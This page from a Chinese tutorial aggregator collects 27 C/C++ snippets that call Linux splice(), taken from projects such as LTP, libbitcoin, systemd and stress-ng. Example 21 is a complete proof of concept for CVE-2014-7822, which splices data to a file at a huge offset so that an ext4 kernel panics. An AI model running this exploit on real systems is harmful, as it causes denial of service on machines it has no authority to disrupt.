您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ splice函数代码示例

51自学网 2021-06-03 08:10:40
  C++
这篇教程C++ splice函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中splice函数的典型用法代码示例。如果您正苦于以下问题:C++ splice函数的具体用法?C++ splice怎么用?C++ splice使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了splice函数的27个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: splice_test

static void splice_test(void){	int pipes[2];	int ret;	fd_in = SAFE_OPEN(cleanup, TESTFILE1, O_RDONLY);	SAFE_PIPE(cleanup, pipes);	fd_out = SAFE_OPEN(cleanup, TESTFILE2, O_WRONLY | O_CREAT | O_TRUNC, 0666);	ret = splice(fd_in, NULL, pipes[1], NULL, TEST_BLOCK_SIZE, 0);	if (ret < 0)		tst_brkm(TBROK | TERRNO, cleanup, "splice(fd_in, pipe) failed");	ret = splice(pipes[0], NULL, fd_out, NULL, TEST_BLOCK_SIZE, 0);	if (ret < 0)		tst_brkm(TBROK | TERRNO, cleanup, "splice(pipe, fd_out) failed");	close(fd_in);	close(fd_out);	close(pipes[0]);	close(pipes[1]);	fd_out = 0;	fd_in = 0;	check_file();}
开发者ID:Nudiv,项目名称:ltp,代码行数:27,


示例2: splice

void Subdivision::deleteEdge(Edge *e){    splice(e, e->Oprev());    splice(e->Sym(), e->Sym()->Oprev());    delete e;}
开发者ID:derkreature,项目名称:img2sky,代码行数:7,


示例3: place

/*  * Requires: *   "bp" is the address of a free block that is at least "asize" bytes. * * Effects: *   Place a block of "asize" bytes at the start of the free block "bp" and *   split that block if the remainder would be at least the minimum block *   size.  */static voidplace(void *bp, size_t asize){	size_t csize = GET_SIZE(HDRP(bp));	struct node *nodep = (struct node *) bp;	struct node *new_nodep;	/* increased size to account for next and previous pointer overhead */	if ((csize - asize) >= (ASIZE + QSIZE)) { 		PUT(HDRP(bp), PACK(asize, 1));		PUT(FTRP(bp), PACK(asize, 1));				bp = NEXT_BLKP(bp);		PUT(HDRP(bp), PACK(csize - asize, 0));		PUT(FTRP(bp), PACK(csize - asize, 0));				/* Set new node for the leftover free block */		new_nodep = (struct node *)bp;				new_nodep->previous = nodep->previous;		new_nodep->next = nodep->next;						/* Remove node from allocated block */		splice(nodep);			} else {		PUT(HDRP(bp), PACK(csize, 1));		PUT(FTRP(bp), PACK(csize, 1));				/* Remove node from allocated block */		splice(nodep);	}	checkheap(1);}
开发者ID:gowtamvamsi,项目名称:COMP321-malloc,代码行数:43,


示例4: create_key_pair

// There is no scenario requiring a public key, we support it for completeness.bool create_key_pair(encrypted_private& out_private,    encrypted_public& out_public, ec_compressed& out_point,    const encrypted_token& token, const ek_seed& seed, uint8_t version,    bool compressed){    const parse_encrypted_token parse(token);    if (!parse.valid())        return false;    const auto point = splice(parse.sign(), parse.data());    auto point_copy = point;    const auto factor = bitcoin_hash(seed);    if (!ec_multiply(point_copy, factor))        return false;    ek_salt salt;    if (!address_salt(salt, point_copy, version, compressed))        return false;    const auto salt_entropy = splice(salt, parse.entropy());    const auto derived = split(scrypt_pair(point, salt_entropy));    const auto flags = set_flags(compressed, parse.lot_sequence(), true);    if (!create_public_key(out_public, flags, salt, parse.entropy(),        derived.left, derived.right, factor, version))        return false;    create_private_key(out_private, flags, salt, parse.entropy(), derived.left,        derived.right, seed, version);    out_point = point_copy;    return true;}
开发者ID:GeopaymeEE,项目名称:libbitcoin,代码行数:34,


示例5: find_module

// 查找模块的名称void find_module(char* scan_mode,char* find_modules){	DIR *dirp;	int find_status = 0;	char* this_path;	// 路径尾部组合	char* path_last = splice("plugins/",splice(scan_mode,"/"));	// 全路径	char* path_obj = splice(defpath(),path_last);	dirp = opendir(path_obj);	if(dirp != NULL)	{		while(1)		{			direntp = readdir(dirp);			if(direntp == NULL){				break;			}else if(direntp->d_name[0] != '.'){				if (strcmp(direntp->d_name,find_modules) == 0){					printf("[*] Find modules Path: %s ,Plugin: %s /n",path[path_index],direntp->d_name);					find_status = find_status + 1;				}			}		}		if (find_status < 1){			printf("[*] Can't not found this module./n");		}		closedir(dirp);	}}
开发者ID:hxp2k6,项目名称:smart7ec-scan-console,代码行数:36,


示例6: main

int main(int argc, char *argv[]){    if(argc != 2) {        printf("Usage: %s <file>/n", basename(argv[0]));        exit(EXIT_FAILURE);    }    int filefd = open(argv[1], O_CREAT | O_WRONLY | O_TRUNC, 0666);    if(filefd == -1)        ERR_EXIT("open");    int pipefd_stdout[2];    int ret = pipe(pipefd_stdout);    if(ret == -1)        ERR_EXIT("pipe");    int pipefd_file[2];    ret = pipe(pipefd_file);    if(ret == -1)        ERR_EXIT("pipe");    if(splice(STDIN_FILENO, NULL, pipefd_stdout[1], NULL, 32768, SPLICE_F_MORE | SPLICE_F_MOVE) == -1)        ERR_EXIT("splice");    if(tee(pipefd_stdout[0], pipefd_file[1], 32768, SPLICE_F_NONBLOCK) == -1)        ERR_EXIT("tee");    if(splice(pipefd_file[0], NULL, filefd, NULL, 32768, SPLICE_F_MORE | SPLICE_F_MOVE) == -1)        ERR_EXIT("splice");    if(splice(pipefd_stdout[0], NULL, STDOUT_FILENO, NULL, 32768, SPLICE_F_MORE | SPLICE_F_MOVE) == -1)        ERR_EXIT("splice");    close(filefd);    close(pipefd_stdout[0]);    close(pipefd_stdout[1]);    close(pipefd_file[0]);    close(pipefd_file[1]);    exit(EXIT_SUCCESS);}
开发者ID:bashell,项目名称:np,代码行数:33,


示例7: begin

void List<Type>::merge(List &list, Predicate predicate){    Iterator iter1 = begin();    Iterator iter2 = list.begin();    Iterator last1 = end();    Iterator last2 = list.end();    while (iter1 != last1 && iter2 != last2)    {        // check whether [predicate] is true        if (predicate(*iter1, *iter2))        {            ++iter1;        }        else        {            // move element at location [iter2] to this list before [iter1]            Iterator position = iter2++;            splice(iter1, list, position, iter2);        }    }    splice(last1, list, iter2, last2);}
开发者ID:jason2506,项目名称:Linked-List,代码行数:25,


示例8: if

void terminalImpl::createSplicedTerminals() {	unsigned int lI = 0;	unsigned int hI = 0;	bool joinable;	for (unsigned int index = 0; index < highestIndex - lowestIndex; ++index) {		bitTerminal& t0 = bitTerminals.at(lowestIndex + index);		bitTerminal& t1 = bitTerminals.at(lowestIndex + index + 1);		if (t0.isConst && t1.isConst)			joinable = true;		else if (t0.isConst || t1.isConst)			joinable = false;		else {			joinable = true;			std::unordered_set<bitTerminal*> lowerBitTerminal;			for (auto&& cBT : t1.connectedBitNet->connectedBitTerminals) {				int lesserIndex = cBT->index;				lesserIndex--;				if (lesserIndex < 0) {					joinable = false;					break;				} else					lowerBitTerminal.insert(&cBT->baseTerminal->bitTerminals.at(lesserIndex));			}			joinable &= (t0.connectedBitNet->connectedBitTerminals == lowerBitTerminal);		}		if (joinable)			hI++;		else {			splice(lowestIndex + hI, lowestIndex + lI);			lI = ++hI;		}	}	splice(lowestIndex + hI, lowestIndex + lI);}
开发者ID:RishabhRawat,项目名称:schematicGenerator,代码行数:35,


示例9: str_list

// 输出所有插件列表void str_list(void){	DIR *dirp;	printf("[*] Loading Plugin List .../n");	for (path_index = 0; path_index < 4; path_index++)	{		char* this_path;		// 路径尾部组合		char* path_last = splice("plugins/",splice(path[path_index],"/"));		// 全路径		char* path_obj = splice(defpath(),path_last);		dirp = opendir(path_obj);		if(dirp != NULL)		{			while(1)			{				direntp = readdir(dirp);				if(direntp == NULL){					break;				}else if(direntp->d_name[0] != '.'){					printf("[*] Path: %s ,Plugin: %s /n",path[path_index],direntp->d_name);				}			}			closedir(dirp);		}	    }}
开发者ID:hxp2k6,项目名称:smart7ec-scan-console,代码行数:33,


示例10: makeEdge

EdgePointer CDelaunay::connectRight(EdgePointer a, EdgePointer b){  EdgePointer ans;  ans = makeEdge(dest(a), orig(b));  splice(ans, (EdgePointer) sym(a));  splice((EdgePointer) sym(ans), (EdgePointer) oprev(b));  return(ans);}
开发者ID:cile,项目名称:android_packages_apps_Camera,代码行数:8,


示例11: connect

// connects the a.dst to b.org through a new edgeedge connect(edge a, edge b) {    Edge_Record er = make_edge();    er.get_qr().v = a.dst();    er.sym().get_qr().v = b.org();    splice(er, a.lnext());    splice(er.sym(), b);    return er;}
开发者ID:axiao,项目名称:delaunay,代码行数:9,


示例12: stress_splice

/* *  stress_splice *	stress copying of /dev/zero to /dev/null */int stress_splice(	uint64_t *const counter,	const uint32_t instance,	const uint64_t max_ops,	const char *name){	int fd_in, fd_out, fds[2];	if (!set_splice_bytes) {		if (opt_flags & OPT_FLAGS_MAXIMIZE)			opt_splice_bytes = MAX_SPLICE_BYTES;		if (opt_flags & OPT_FLAGS_MINIMIZE)			opt_splice_bytes = MIN_SPLICE_BYTES;	}	(void)instance;	if (pipe(fds) < 0) {		pr_failed_err(name, "pipe");		return EXIT_FAILURE;	}	if ((fd_in = open("/dev/zero", O_RDONLY)) < 0) {		(void)close(fds[0]);		(void)close(fds[1]);		pr_failed_err(name, "open");		return EXIT_FAILURE;	}	if ((fd_out = open("/dev/null", O_WRONLY)) < 0) {		(void)close(fd_in);		(void)close(fds[0]);		(void)close(fds[1]);		pr_failed_err(name, "open");		return EXIT_FAILURE;	}	do {		int ret;		ssize_t bytes;		bytes = splice(fd_in, NULL, fds[1], NULL, opt_splice_bytes, SPLICE_F_MOVE);		if (bytes < 0)			break;		ret = splice(fds[0], NULL, fd_out, NULL, opt_splice_bytes, SPLICE_F_MOVE);		if (ret < 0)			break;		(*counter)++;	} while (opt_do_run && (!max_ops || *counter < max_ops));	(void)close(fd_out);	(void)close(fd_in);	(void)close(fds[0]);	(void)close(fds[1]);	return EXIT_SUCCESS;}
开发者ID:srikanth007m,项目名称:stress-ng,代码行数:62,


示例13: makeEdge

QuadEdge *connect( QuadEdge *a, QuadEdge *b ) {  QuadEdge *e = makeEdge();  e->setOrg( a->Dest() );  e->setDest( b->Org() );  splice( e, a->Lnext() );  splice( e->Sym(), b );  return e;}
开发者ID:dose78,项目名称:FRPA,代码行数:9,


示例14: splice

void List<Type>::swap(List &list){    List copy;    // exchang the elements of this list with [list]    splice(copy.begin(), list);    splice(list.begin(), *this);    splice(begin(), copy);}
开发者ID:jason2506,项目名称:Linked-List,代码行数:9,


示例15: deleteEdge

void deleteEdge( QuadEdge *e ) {  splice( e, e->Oprev() );  splice( e->Sym(), e->Sym()->Oprev() );  delete e->Rotinv();  delete e->Sym();  delete e->Rot();  delete e;}
开发者ID:dose78,项目名称:FRPA,代码行数:9,


示例16: makeEdge

Edge *Subdivision::connect(Edge *a, Edge *b){    Edge *e = makeEdge();    splice(e, a->Lnext());    splice(e->Sym(), b);    e->EndPoints(a->Dest(), b->Org());    return e;}
开发者ID:derkreature,项目名称:img2sky,代码行数:9,


示例17: stress_splice

/* *  stress_splice *	stress copying of /dev/zero to /dev/null */static int stress_splice(const args_t *args){	int fd_in, fd_out, fds[2];	size_t splice_bytes = DEFAULT_SPLICE_BYTES;	if (!get_setting("splice-bytes", &splice_bytes)) {		if (g_opt_flags & OPT_FLAGS_MAXIMIZE)			splice_bytes = MAX_SPLICE_BYTES;		if (g_opt_flags & OPT_FLAGS_MINIMIZE)			splice_bytes = MIN_SPLICE_BYTES;	}	splice_bytes /= args->num_instances;	if (splice_bytes < MIN_SPLICE_BYTES)		splice_bytes = MIN_SPLICE_BYTES;	if (pipe(fds) < 0) {		pr_fail_err("pipe");		return EXIT_FAILURE;	}	if ((fd_in = open("/dev/zero", O_RDONLY)) < 0) {		(void)close(fds[0]);		(void)close(fds[1]);		pr_fail_err("open");		return EXIT_FAILURE;	}	if ((fd_out = open("/dev/null", O_WRONLY)) < 0) {		(void)close(fd_in);		(void)close(fds[0]);		(void)close(fds[1]);		pr_fail_err("open");		return EXIT_FAILURE;	}	do {		ssize_t ret;		ret = splice(fd_in, NULL, fds[1], NULL,				splice_bytes, SPLICE_F_MOVE);		if (ret < 0)			break;		ret = splice(fds[0], NULL, fd_out, NULL,				splice_bytes, SPLICE_F_MOVE);		if (ret < 0)			break;		inc_counter(args);	} while (keep_stressing());	(void)close(fd_out);	(void)close(fd_in);	(void)close(fds[0]);	(void)close(fds[1]);	return EXIT_SUCCESS;}
开发者ID:ColinIanKing,项目名称:stress-ng,代码行数:60,


示例18: main

int main(int argc,char **argv) {	struct pollfd fds[]={{STDIN_FILENO,POLLIN,0},{STDOUT_FILENO,0,0}};	int fd,quit=0;	ssize_t r;	if (argc!=2) usage(*argv);	if ((fd=open(argv[1],O_RDWR|O_CREAT|O_TRUNC,0664))==-1) {		perror(argv[1]);		exit(EXIT_FAILURE);	}	if (fcntl(STDIN_FILENO,F_SETFL,O_NONBLOCK)==-1 ||		fcntl(STDOUT_FILENO,F_SETFL,O_NONBLOCK)==-1 ||	fcntl(fd,F_SETFL,O_NONBLOCK)==-1) {		perror("set non-blocking I/O");		exit(EXIT_FAILURE);	}	while(!quit) {		poll(fds,2,-1);		if (fds[0].revents) {			// Read more into file			r=splice(STDIN_FILENO,NULL,fd,&payload,1<<20,SPLICE_F_NONBLOCK);			fds[1].revents=POLLOUT;			if (r==0) {				quit=1;				close(STDIN_FILENO);			}			if (r==-1) {				perror("read");				exit(EXIT_FAILURE);			}		}		if (fds[1].revents & POLLOUT) {			// Send more to output			if (payload-outoff>0) {				r=splice(fd,&outoff,STDOUT_FILENO,NULL,payload-outoff,SPLICE_F_NONBLOCK);				if (r==-1 && errno!=EAGAIN) {					perror("write");					exit(EXIT_FAILURE);				}			} else {	// Output all caught up - wait for more				fds[1].revents=fds[1].events=0;			}		}	}	if (fcntl(STDOUT_FILENO,F_SETFL,0)==-1) {		perror("clear non-blocking output");		exit(EXIT_FAILURE);	}	while (outoff<payload) {		if (splice(fd,&outoff,STDOUT_FILENO,NULL,1<<20,0)==-1) {			perror("write");			exit(EXIT_FAILURE);		}	}	return 0;}
开发者ID:jas88,项目名称:jas88tools,代码行数:56,


示例19: assert

void Edge::kill(Edge *edge) {    assert(edge != 0);    // detach the edge from its cell    splice(edge, edge->Oprev());    splice(edge->Sym(), edge->Sym()->Oprev());    // free the quad edge that the edge belongs to    delete (QuadEdge*)(edge-edge->index);}
开发者ID:unc-compgeom,项目名称:DDAD,代码行数:10,


示例20: coalesce

/* * Requires: *   "bp" is the address of a newly freed block. * * Effects: *   Perform boundary tag coalescing.  Returns the address of the coalesced *   block. */static void *coalesce(void *bp) {	printf("Start coalesce/n");	if (bp == NULL)		printf("Pointer is NULL/n");	struct node *new_node;		size_t size = GET_SIZE(HDRP(bp));		printf("Got size/n");	bool prev_alloc = GET_ALLOC(FTRP(PREV_BLKP(bp)));	printf("Stored whether previous block was allocated/n");	bool next_alloc = GET_ALLOC(HDRP(NEXT_BLKP(bp)));	printf("Stored whether the next block was allocated/n");	printf("Finished coalesce initializations/n");	if (prev_alloc && next_alloc) {                 /* Case 1 */		printf("Case 1/n");		return (bp);	} else if (prev_alloc && !next_alloc) {         /* Case 2 */		printf("Case 2/n");		size += GET_SIZE(HDRP(NEXT_BLKP(bp)));		PUT(HDRP(bp), PACK(size, 0));		PUT(FTRP(bp), PACK(size, 0));		splice((struct node *)NEXT_BLKP(bp));	} else if (!prev_alloc && next_alloc) {         /* Case 3 */		printf("Case 3/n");		size += GET_SIZE(HDRP(PREV_BLKP(bp)));		PUT(FTRP(bp), PACK(size, 0));		PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));		/* Seems to work for now, but rather hackish */		/* the issue arises because bp is not actually in the list yet (I think) */		struct node *temp = (struct node *)bp;		if (temp->next != NULL)			splice(bp);		bp = PREV_BLKP((void *)bp);	} else {                                        /* Case 4 */		printf("Case 4/n");		size += GET_SIZE(HDRP(PREV_BLKP(bp))) + 		    GET_SIZE(FTRP(NEXT_BLKP(bp)));		PUT(HDRP(PREV_BLKP(bp)), PACK(size, 0));		PUT(FTRP(NEXT_BLKP(bp)), PACK(size, 0));		splice((struct node *)bp);		splice((struct node *)NEXT_BLKP(bp));		bp = PREV_BLKP(bp);	}		new_node = (struct node *)coalesce(bp);	new_node->next = list_start;	new_node->previous = NULL;	list_start->previous = new_node;	list_start = new_node;	checkheap(1);	return (bp);}
开发者ID:gowtamvamsi,项目名称:COMP321-malloc,代码行数:63,


示例21: main

/** * Poc for cve_2014_7822 vulnerability */int main(){    int pipefd[2];    int result;    int in_file;    int out_file;    int zulHandler;    loff_t viciousOffset = 0;    char junk[JUNK_SIZE]  = {0};    result = pipe(pipefd);    // Create and clear zug.txt and zul.txt files    system("cat /dev/null > zul.txt");    system("cat /dev/null > zug.txt");    // Fill zul.txt with A    zulHandler = open("zul.txt", O_RDWR);    memset(junk,'A',JUNK_SIZE);    write(zulHandler, junk, JUNK_SIZE);    close(zulHandler);    //put content of zul.txt in pipe    viciousOffset = 0;    in_file = open("zul.txt", O_RDONLY);    result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);    close(in_file);    // Put content of pipe in zug.txt    out_file = open("zug.txt", O_RDWR);    viciousOffset =   118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!!    printf("[cve_2014_7822]: ViciousOffset = %lu/n", (unsigned long)viciousOffset);    result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615    if (result == -1)    {        printf("[cve_2014_7822 error]: %d - %s/n", errno, strerror(errno));        exit(1);    }    close(out_file);    close(pipefd[0]);    close(pipefd[1]);    //Open  zug.txt    in_file = open("zug.txt", O_RDONLY);    close(in_file);    printf("[cve_2014_7822]: POC triggered, ... system will panic after some time/n");    return 0;}
开发者ID:webkodex,项目名称:exploit-database,代码行数:58,


示例22: main

int main(int argc,char **argv) {	struct pollfd poller[2] = {{STDIN_FILENO,POLLIN,0},{STDOUT_FILENO,POLLOUT,0}};	loff_t winstart=0,winend=0;	ssize_t result;	int tmpfd,state=1;	char tempname[]="/tmp/diskpipe.XXXXXXXX";			if (argc>1 && strcmp(argv[1],"-v")==0) {		about(*argv);		exit(EXIT_SUCCESS);	}		if (setnonblock(STDIN_FILENO) || setnonblock(STDOUT_FILENO)) {		perror("set nonblock");		return -1;	}	tmpfd=mkstemp(tempname);	if (tmpfd==-1 || unlink(tempname)==-1) {		perror(tempname);		return -1;	}	// Now loop, reading, writing and truncating as appropriate:	while(state) {		result=splice(STDIN_FILENO,0,tmpfd,&winend,1<<20,SPLICE_F_NONBLOCK);		if (result==0) {			state=0;			poller[0].fd=-1;			close(STDIN_FILENO);		}	 // Exit read loop, proceed to drain buffer		else if (result<0 && errno!=EAGAIN) { perror("read"); exit(EXIT_FAILURE); }		if (winend>winstart) {			result=splice(tmpfd,&winstart,STDOUT_FILENO,0,winend-winstart,SPLICE_F_NONBLOCK);			if (result>=0) {				if (fallocate(tmpfd,FALLOC_FL_PUNCH_HOLE|FALLOC_FL_KEEP_SIZE,0,winstart)) {					perror("trim temp file");				}			}			else if (errno!=EAGAIN) { perror("write"); exit(EXIT_FAILURE); }		}				poll(poller,2,-1);	// Wait until something's ready to process	}		// Now drain the buffer:	while(winstart<winend) {		result=splice(tmpfd,&winstart,STDOUT_FILENO,0,winend-winstart,SPLICE_F_NONBLOCK);		if (result>=0) {			if (fallocate(tmpfd,FALLOC_FL_PUNCH_HOLE|FALLOC_FL_KEEP_SIZE,0,winstart)) {				perror("trim temp file");			}		 }		else if (errno!=EAGAIN) { perror("write"); exit(EXIT_FAILURE); }	}	return 0;}
开发者ID:jas88,项目名称:jas88tools,代码行数:55,


示例23: swap

// swaps an edge (a.org, b.org) with (a.dst, b.dst)void swap(edge er) {    Edge_Record a, b;    a = er.oprev();    b = er.sym().oprev();    splice(er, a);    splice(er.sym(), b);    splice(er, a.lnext());    splice(er.sym(), b.lnext());    er.get_qr().v = a.sym().get_qr().v;    er.sym().get_qr().v = b.sym().get_qr().v;}
开发者ID:axiao,项目名称:delaunay,代码行数:12,


示例24: connection_shovel

static int connection_shovel(                Connection *c,                int *from, int buffer[2], int *to,                size_t *full, size_t *sz,                sd_event_source **from_source, sd_event_source **to_source) {        bool shoveled;        assert(c);        assert(from);        assert(buffer);        assert(buffer[0] >= 0);        assert(buffer[1] >= 0);        assert(to);        assert(full);        assert(sz);        assert(from_source);        assert(to_source);        do {                ssize_t z;                shoveled = false;                if (*full < *sz && *from >= 0 && *to >= 0) {                        z = splice(*from, NULL, buffer[1], NULL, *sz - *full, SPLICE_F_MOVE|SPLICE_F_NONBLOCK);                        if (z > 0) {                                *full += z;                                shoveled = true;                        } else if (z == 0 || IN_SET(errno, EPIPE, ECONNRESET)) {                                *from_source = sd_event_source_unref(*from_source);                                *from = safe_close(*from);                        } else if (!IN_SET(errno, EAGAIN, EINTR))                                return log_error_errno(errno, "Failed to splice: %m");                }                if (*full > 0 && *to >= 0) {                        z = splice(buffer[0], NULL, *to, NULL, *full, SPLICE_F_MOVE|SPLICE_F_NONBLOCK);                        if (z > 0) {                                *full -= z;                                shoveled = true;                        } else if (z == 0 || IN_SET(errno, EPIPE, ECONNRESET)) {                                *to_source = sd_event_source_unref(*to_source);                                *to = safe_close(*to);                        } else if (!IN_SET(errno, EAGAIN, EINTR))                                return log_error_errno(errno, "Failed to splice: %m");                }        } while (shoveled);        return 0;}
开发者ID:floppym,项目名称:systemd,代码行数:51,


示例25: tcp_splice_block_stream

static ssize_t tcp_splice_block_stream(OutputStream * out, int fd, size_t size, int64_t * offset) {    assert(is_dispatch_thread());    if (size == 0) return 0;#if ENABLE_Splice    {        ChannelTCP * c = channel2tcp(out2channel(out));        if (!c->ssl && out->supports_zero_copy) {            ssize_t rd = splice(fd, offset, c->pipefd[1], NULL, size, SPLICE_F_MOVE);            if (rd > 0) {                /* Send the binary data escape seq */                size_t n = rd;                if (c->out_bin_block != NULL) tcp_bin_block_end(c);                if (c->chan.out.cur >= c->chan.out.end - 8) tcp_flush_with_flags(c, MSG_MORE);                *c->chan.out.cur++ = ESC;                *c->chan.out.cur++ = 3;                for (;;) {                    if (n <= 0x7fu) {                        *c->chan.out.cur++ = (char)n;                        break;                    }                    *c->chan.out.cur++ = (n & 0x7fu) | 0x80u;                    n = n >> 7;                }                /* We need to flush the buffer then send our data */                tcp_flush_with_flags(c, MSG_MORE);#if ENABLE_OutputQueue                while (!output_queue_is_empty(&c->out_queue)) {                    cancel_event(done_write_request, &c->wr_req, 1);                    done_write_request(&c->wr_req);                }#endif                if (c->chan.state == ChannelStateDisconnected) return rd;                if (c->out_errno) return rd;                n = rd;                while (n > 0) {                    ssize_t wr = splice(c->pipefd[0], NULL, c->socket, NULL, n, SPLICE_F_MORE);                    if (wr < 0) {                        c->out_errno = errno;                        trace(LOG_PROTOCOL, "Error in socket splice: %s", errno_to_str(errno));                        break;                    }                    n -= wr;                }            }            return rd;        }
开发者ID:eswartz,项目名称:emul,代码行数:50,


示例26: channel_transfer

static void channel_transfer (channel_t *src){    src->flags &= ~FLAG_ACTIVITY;    pipe_t *p;    if (!(p = src->peer->tosend))        p = pipe_init();    src->peer->tosend = NULL;    int rc = splice(src->sock, 0, p->fd[1], 0, PIPE_SIZE,            SPLICE_F_MOVE|SPLICE_F_MORE|SPLICE_F_NONBLOCK);    if (rc == 0) {        src->events &= ~EPOLLIN;        src->flags |= FLAG_SHUT_RECV;    }    else if (rc < 0) {        src->events &= ~EPOLLIN;        if (errno != EAGAIN)            src->flags |= FLAG_ERRONEOUS;    } else {        p->load += rc;    }    if (p->load <= 0)        return pipe_release(&p);    src->peer->tosend = p;    return _pipe_resume(src->peer);}
开发者ID:jkasarherou,项目名称:lbtk,代码行数:28,


示例27: uint32

void Lookahead::undoLevel(Solver& s) {	if (s.decisionLevel() == saved_.size()) {		const LitVec& a = s.trail();		score.scoreLits(s, &a[0]+s.levelStart(s.decisionLevel()), &a[0]+a.size());		if (s.decisionLevel() == static_cast<uint32>(head()->lit.watched())) {			const Literal* b = &a[0]+s.levelStart(s.decisionLevel());			if (b->watched()) {				// remember current DL for b				uint32 dist = static_cast<uint32>(((&a[0]+a.size()) - b));				imps_.assign(b+1, b + std::min(dist, uint32(2048)));			}			else if (score.score[b->var()].testedBoth()) {				// all true lits in imps_ follow from both *b and ~*b				// and are therefore implied				LitVec::iterator j = imps_.begin();				for (LitVec::iterator it = imps_.begin(), end = imps_.end(); it != end; ++it) {					if (s.isTrue(*it)) { *j++ = *it; }				}				imps_.erase(j, imps_.end());			}		}	}	else {		assert(saved_.size() >= s.decisionLevel()+1);		saved_.resize(s.decisionLevel()+1);		NodeId n = saved_.back();		saved_.pop_back();		splice(n);		assert(node(last_)->next == head_id);		score.clearDeps();	}}
开发者ID:domoritz,项目名称:clasp-pb,代码行数:32,



注:本文中的splice函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ splimp函数代码示例
C++ splhigh函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。